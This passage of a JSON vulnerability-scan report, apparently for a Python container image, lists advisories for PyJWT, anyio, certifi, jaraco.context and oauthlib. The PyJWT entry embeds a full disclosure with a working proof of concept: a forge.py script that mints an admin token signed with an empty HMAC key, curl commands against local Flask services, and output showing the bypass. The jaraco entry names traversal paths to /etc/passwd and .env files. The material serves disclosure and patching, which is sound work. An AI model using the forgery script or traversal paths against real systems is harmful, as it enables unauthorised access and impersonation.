"https://access.redhat.com/errata/RHSA-2026:25902", "https://access.redhat.com/errata/RHSA-2026:25928", "https://access.redhat.com/errata/RHSA-2026:26206", "https://access.redhat.com/errata/RHSA-2026:28571", "https://access.redhat.com/errata/RHSA-2026:30076", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:33683", "https://access.redhat.com/errata/RHSA-2026:34160", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:34374", "https://access.redhat.com/errata/RHSA-2026:35835", "https://access.redhat.com/errata/RHSA-2026:35836", "https://access.redhat.com/errata/RHSA-2026:35837", "https://access.redhat.com/errata/RHSA-2026:35845", "https://access.redhat.com/errata/RHSA-2026:36350", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:40967", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42144", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:48085", "https://access.redhat.com/errata/RHSA-2026:50222", "https://access.redhat.com/errata/RHSA-2026:50223", "https://access.redhat.com/errata/RHSA-2026:50263", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50340", "https://access.redhat.com/errata/RHSA-2026:50904", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/security/cve/CVE-2026-48526", "https://advisory.echohq.com/cve/CVE-2026-48526", "https://bugzilla.redhat.com/2482734", "https://bugzilla.redhat.com/show_bug.cgi?id=2482734", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48526", "https://errata.almalinux.org/9/ALSA-2026-26206.html", "https://errata.rockylinux.org/RLSA-2026:26206", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx", "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml", "https://linux.oracle.com/cve/CVE-2026-48526.html", "https://linux.oracle.com/errata/ELSA-2026-26206.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-48526", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48526.json", "https://ubuntu.com/security/notices/USN-8823-1", "https://www.cve.org/CVERecord?id=CVE-2026-48526" ], "PublishedDate": "2026-05-28T16:16:29.657Z", "LastModifiedDate": "2026-10-26T13:10:00.14Z" }, { "VulnerabilityID": "GHSA-pxh4-856f-4h89", "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-pxh4-856f-4h89", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:94459fbb7094622fab932896037bf87d03dde28722046a57efd76b11e699e901", "Title": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery", "Description": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -\u003e k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\" # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-pxh4-856f-4h89", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89" ], "PublishedDate": "2026-10-22T15:48:04Z", "LastModifiedDate": "2026-10-22T15:48:04Z" }, { "VulnerabilityID": "CVE-2026-63374", "VendorIDs": [ "GHSA-82r6-8w77-94w6" ], "PkgName": "anyio", "PkgPath": "usr/local/lib/python3.11/site-packages/anyio-3.7.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/anyio@3.7.1", "UID": "95e41d3398cefb22" }, "InstalledVersion": "3.7.1", "FixedVersion": "4.14.2", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63374", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:57d5f154a8eaa26bec92d1d36b6023d6a0723245a1df936ca1045a0918a126bb", "Title": "anyio: AnyIO: TLS certificate spoofing via improper internationalized domain name encoding", "Description": "AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtain a legitimate certificate for the different ASCII hostname produced by IDNA 2003 and present it to the client, causing the malicious endpoint's certificate to validate. This issue is fixed in version 4.14.2.", "Severity": "CRITICAL", "CweIDs": [ "CWE-295", "CWE-297" ], "VendorSeverity": { "ghsa": 4, "redhat": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63374", "https://advisory.echohq.com/cve/CVE-2026-63374", "https://github.com/advisories/GHSA-82r6-8w77-94w6", "https://github.com/agronholm/anyio", "https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce", "https://github.com/agronholm/anyio/pull/1208", "https://github.com/agronholm/anyio/releases/tag/4.14.2", "https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6", "https://nvd.nist.gov/vuln/detail/CVE-2026-63374", "https://www.cve.org/CVERecord?id=CVE-2026-63374" ], "PublishedDate": "2026-09-22T16:17:50.68Z", "LastModifiedDate": "2026-09-28T17:17:50.357Z" }, { "VulnerabilityID": "GHSA-6q48-6c7w-9gw2", "PkgName": "certifi", "PkgPath": "usr/local/lib/python3.11/site-packages/certifi-2026.7.22.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/certifi@2026.7.22", "UID": "fd504eea95509f7" }, "InstalledVersion": "2026.7.22", "FixedVersion": "2026.10.18", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:676129774be17053a0f04a11112e9dffdc1545e41a3d5e45fa35331827c79ab1", "Title": "certifi bundles emSign root CAs with compromised intermediate CA keys", "Description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.\n\nCertifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6q48-6c7w-9gw2", "https://discuss.python.org/t/information-for-python-users-regarding-emudhra-emsign-ca-certificate-security-incident/109576", "https://emudhra.we-have-a-problem.com", "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "https://github.com/certifi/python-certifi", "https://github.com/certifi/python-certifi/security/advisories/GHSA-6q48-6c7w-9gw2" ], "PublishedDate": "2026-10-20T19:35:05Z", "LastModifiedDate": "2026-10-26T16:02:12Z" }, { "VulnerabilityID": "CVE-2026-23949", "VendorIDs": [ "GHSA-58pv-8j8x-9vj2" ], "PkgName": "jaraco.context", "PkgPath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.context-5.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/jaraco.context@5.3.0", "UID": "d6550b81e52efabe" }, "InstalledVersion": "5.3.0", "FixedVersion": "6.1.0", "Status": "fixed", "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23949", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:018dc30a836b4bb903fb8300f649eea6ef904c4dafcbcc4debcc33907810872b", "Title": "jaraco.context: jaraco.context: Path traversal via malicious tar archives", "Description": "jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23949", "https://advisory.echohq.com/cve/CVE-2026-23949", "https://github.com/jaraco/jaraco.context", "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91", "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9", "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2", "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76", "https://nvd.nist.gov/vuln/detail/CVE-2026-23949", "https://ubuntu.com/security/notices/USN-7979-1", "https://www.cve.org/CVERecord?id=CVE-2026-23949" ], "PublishedDate": "2026-01-20T01:15:57.723Z", "LastModifiedDate": "2026-06-17T10:22:20.2Z" }, { "VulnerabilityID": "CVE-2026-118669", "VendorIDs": [ "GHSA-7984-qgvg-3j9c" ], "PkgName": "oauthlib", "PkgPath": "usr/local/lib/python3.11/site-packages/oauthlib-3.3.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "f7b1064db88860a6" }, "InstalledVersion": "3.3.1", "FixedVersion": "4.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-118669", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:aa97a682bebea4a56dabd1e474a9a6d84096938640242cbb36a7462eeda93ef3", "Title": "oauthlib: oauthlib: privilege escalation via client identity confusion in token grant handlers", "Description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N", "V40Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-118669", "https://advisory.echohq.com/cve/CVE-2026-118669", "https://github.com/oauthlib/oauthlib", "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d", "https://github.com/oauthlib/oauthlib/pull/920", "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0", "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c", "https://nvd.nist.gov/vuln/detail/CVE-2026-118669", "https://www.cve.org/CVERecord?id=CVE-2026-118669" ], "PublishedDate": "2026-10-28T22:17:12.61Z", "LastModifiedDate": "2026-11-03T14:17:32.237Z" }, { "VulnerabilityID": "CVE-2026-49272", "VendorIDs": [ "GHSA-3jp2-3mrg-2vxc" ], "PkgName": "oauthlib", "PkgPath": "usr/local/lib/python3.11/site-packages/oauthlib-3.3.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "f7b1064db88860a6" }, "InstalledVersion": "3.3.1", "FixedVersion": "4.0.1", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49272", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ad441890db24dbbf3eae74bfc22b983e97d173c2fd40c5910d6bf58c61196d25", "Title": "oauthlib: oauthlib: Authentication bypass via missing device code validation", "Description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. From 3.3.0 until 4.0.1, OAuthLib's RFC 8628 device workflow does not require DeviceCodeGrant.validate_token_request to check that the device_code parameter is present and valid. A caller whose client request is accepted by the configured validator and who knows a valid client ID enabled for the device workflow can submit a missing or bogus device code to the token endpoint and obtain a bearer token without completing device authorization. This issue is fixed in version 4.0.1.", "Severity": "HIGH", "CweIDs": [ "CWE-287" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "V3Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "V3Score": 8.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49272", "https://advisory.echohq.com/cve/CVE-2026-49272", "https://github.com/oauthlib/oauthlib", "https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114", "https://github.com/oauthlib/oauthlib/pull/954", 